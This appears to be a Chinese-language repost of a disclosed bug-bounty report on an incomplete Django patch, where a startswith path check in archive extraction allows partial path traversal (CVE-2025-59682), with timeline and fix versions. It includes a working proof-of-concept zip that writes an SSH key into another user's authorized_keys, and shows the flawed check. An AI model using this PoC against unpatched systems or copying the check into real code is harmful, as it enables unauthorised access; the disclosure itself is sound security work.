Django CVE-2021-3281补丁不完整导致的路径遍历漏洞分析

本文详细分析了Django框架中CVE-2021-3281漏洞修复补丁的不完整问题,披露了一个新的部分路径遍历漏洞。文章包含漏洞原理、PoC示例、官方响应及修复过程,展示了从漏洞发现到最终修复的完整时间线。

路径遍历 via archive.extract - CVE 2021-3281 不完整补丁

报告时间: 2025年9月5日,下午1:21 (UTC) 报告人: stackered (ID已验证) 报告对象: Django 状态: 已解决 严重性: 低 (3.7) CVE ID: CVE-2021-3281 (原), CVE-2025-59682 (新)

漏洞概述

在对历史漏洞补丁进行代码审查时,发现针对 CVE-2021-3281 的修复并不完整。该漏洞的原始修复逻辑是在 ZipArchiveTarArchive 类的 extract 函数中添加了防护逻辑,以确保所有文件都被提取到基础文件夹 (target_path) 之下。

原始防护代码

1
2
3
4
5
6
7
# django/django/utils/archive.py
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

这段代码使用 abspath 函数获取绝对且规范化的唯一路径,然后利用 startswith 函数验证目标路径是否属于预期的基础文件夹。然而,abspath 函数会移除路径末尾的分隔符,这导致防护逻辑不足以防御部分路径遍历攻击。

漏洞原理

假设基础文件夹定义为 /var/lib/,初始文件名为 /var/library/test.txt。由于末尾的斜杠被移除,攻击者仍然可以进行部分路径遍历到另一个以相同字符开头的目录,因为以下检查会通过:

1
"/var/library/test.txt".startswith("/var/lib") == true

在Python命令行中执行以下代码不会引发预期的异常:

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
   raise Exception

影响

这导致了一个部分路径遍历漏洞,允许攻击者在解压归档文件(tar和zip)时将文件写到基础目录之外。

交互时间线

2025年9月11日,下午3:53 (UTC)

  • Django 工作人员 (nessita) 评论: 感谢报告,安全团队将进行调查,请暂时保密。

2025年9月16日,上午11:29 (UTC)

  • Django 工作人员 (theorangeone) 将状态改为 “需要更多信息”: 无法复现问题,请求提供使用Django工具并展示漏洞利用的PoC。

2025年9月16日,下午1:28 (UTC)

  • 报告人 (stackered) 将状态改回 “新建” 并提供PoC:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
    import zipfile
    from django.utils.archive import *
    
    zip_path = "malicious.zip"
    
    def create_malicious_zip():
        with zipfile.ZipFile(zip_path, "w") as zf:
            zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
            zf.writestr("test.txt", "Test\n")
        print(f"Archive {zip_path} hase been successfully created")
    
    def extract_archive():
        archive = ZipArchive(zip_path)
        archive.extract("/home/john")
    
    if __name__ == "__main__":
        create_malicious_zip()
        extract_archive()
    
    • PoC说明:/home 下创建两个目录(john 和 johnny),并由运行PoC的同一用户可写。即使目标解压目录设置为 /home/john,这也会在 /home/johnny/.ssh/authorized_keys 中添加(如果不存在则创建)攻击者的SSH密钥。

2025年9月18日,上午10:04 (UTC)

  • Django 工作人员 (sarahvboyce) 将严重性从 中 (5.3) 更新为 低 (3.7): 攻击者必须知道用户将通过 startapp --template 等在哪个目录进行解压。

2025年9月18日,上午10:09 (UTC)

  • Django 工作人员 (sarahvboyce) 将状态改为 “已分类”: 确认漏洞,已申请CVE。附上了建议的缓解方案补丁 (0001-Fixed-CVE-2025-XXXXX-Fixed-potential-partial-directo.patch),请求报告人测试。计划在10月发布包含此修复的版本,并询问是否可以用 “stackered” 署名。

2025年9月18日,下午1:21 (UTC)

  • 报告人 (stackered) 评论: 审查了补丁,确认修复了问题。同意使用 “stackered” 署名。但对严重性评估为"低"持有不同意见,认为在某些场景(如请求拦截、开源应用、攻击者可控制解压目录)下风险更高,原评估为中危。

2025年9月24日,下午12:57 (UTC)

  • 报告人 (stackered) 评论: 询问是否考虑根据其之前的消息修改严重性。

2025年9月24日,下午1:48 (UTC)

  • Django 工作人员 (sarahvboyce) 评论: 确认已分配 CVE-2025-59682,计划10月1日发布。维持当前严重性评估。理由是 archive.extract 是未公开的方法,根据安全政策通常不在漏洞评估范围内。其使用范围仅限于开发人员运行 python manage.py startproject/app --template 时,而非已部署的应用程序中。

2025年9月24日,下午2:08 (UTC)

  • 报告人 (stackered) 评论: 感谢告知,下次会更仔细评估漏洞是否可能存在于Django项目中。

2025年10月2日,上午12:49 (UTC)

  • Django 工作人员 (jacobtylerwalls) 关闭报告并将状态改为 “已解决”: 该问题已于10月1日在 Django 版本 5.2.7, 5.1.13, 和 4.2.25 中修复。

约15天前

  • The Internet Bug Bounty 决定: 此报告不符合赏金奖励条件。

5天前

  • 报告人 (stackered) 请求公开此报告。
  • Django 工作人员 (jacobtylerwalls) 同意公开。
  • 报告已被公开。

报告详情

  • 报告ID: #3328367
  • 弱点类型: 路径遍历
  • 披露日期: 2025年11月21日,下午7:05 (UTC)
  • 赏金:
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计